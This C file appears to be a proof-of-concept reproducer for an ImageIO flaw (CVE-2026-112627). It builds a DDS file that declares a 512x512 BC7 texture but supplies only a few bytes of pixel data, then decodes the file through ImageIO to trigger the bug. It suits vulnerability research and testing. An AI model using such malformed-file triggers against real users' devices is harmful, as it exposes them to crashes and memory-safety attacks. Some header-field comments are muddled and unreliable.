// iio.dds.bc7 · ImageIO · BCReadPlugin::initialize · CVE-2026-112627
// BC7 DDS short mip level decode
// C twin of the Swift POC: builds the truncated BC7 DDS and decodes it through ImageIO.
// Variant iio.appx (APP marker overrun re-encode) is noted in the Swift POC.
// Build: clang -O2 -o cve-2026-112627 CVE-2026-112627.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run:   ./cve-2026-112627 [data-bytes]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
    if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }

static void le32(buf *b, uint32_t v) {
    bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}

// ── seed construction (from Cinder27 Sources: TexturePayload.bc7Short) ──
static buf dds_bc7_short(int width, int height, int data_bytes) {
    buf out = {0};
    bcat(&out, "DDS ", 4);
    le32(&out, 124);                    // header size
    le32(&out, 0x00081007);             // flags: caps2 cubemap? no — linear size + mipcount bits
    le32(&out, (uint32_t)height);
    le32(&out, (uint32_t)width);
    le32(&out, 0);                      // pitch
    le32(&out, 0);                      // depth
    le32(&out, 1);                      // mip count
    brep(&out, 0, 44);                  // reserved
    le32(&out, 32);                     // pixel format size
    le32(&out, 0x4);                    // fourcc flag
    bcat(&out, "DX10", 4);
    brep(&out, 0, 20);                  // pixel format tail
    le32(&out, 0x1000);                 // caps2 cubemap flag
    le32(&out, 0); le32(&out, 0); le32(&out, 0); le32(&out, 0);
    // DX10 extension: BC7_UNORM = 98, dim 3, 0, array 1, 0
    le32(&out, 98); le32(&out, 3); le32(&out, 0); le32(&out, 1); le32(&out, 0);
    brep(&out, 0, data_bytes > 0 ? (size_t)data_bytes : 1);   // the short mip level
    return out;
}

// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>

static int decode_image(const buf *img, const char **detail) {
    CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
    if (!cf) { *detail = "CFDataCreate failed"; return -1; }
    CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
    CFRelease(cf);
    if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
    size_t frames = CGImageSourceGetCount(src);
    CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
    static char r[256];
    if (cg) {
        snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
                 (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
        CGImageRelease(cg);
    } else {
        snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
    }
    CFRelease(src);
    *detail = r;
    return cg ? 0 : -1;
}

int main(int argc, char **argv) {
    int width = 512, height = 512;
    int data_bytes = argc > 1 ? atoi(argv[1]) : 64;

    buf dds = dds_bc7_short(width, height, data_bytes);
    FILE *f = fopen("bc7_short.dds", "wb");
    if (f) { fwrite(dds.d, 1, dds.n, f); fclose(f); }

    const char *detail = NULL;
    int rc = decode_image(&dds, &detail);
    int needed = (width / 4) * (height / 4) * 16;
    printf("CVE-2026-112627 · %dx%d BC7 needs %d B, provided %d B · %s\n",
           width, height, needed, data_bytes, detail ? detail : "?");
    printf("seed: bc7_short.dds (%zu B) · exit code %d\n", dds.n, rc);
    bfree(&dds);
    return rc == 0 ? 0 : 1;
}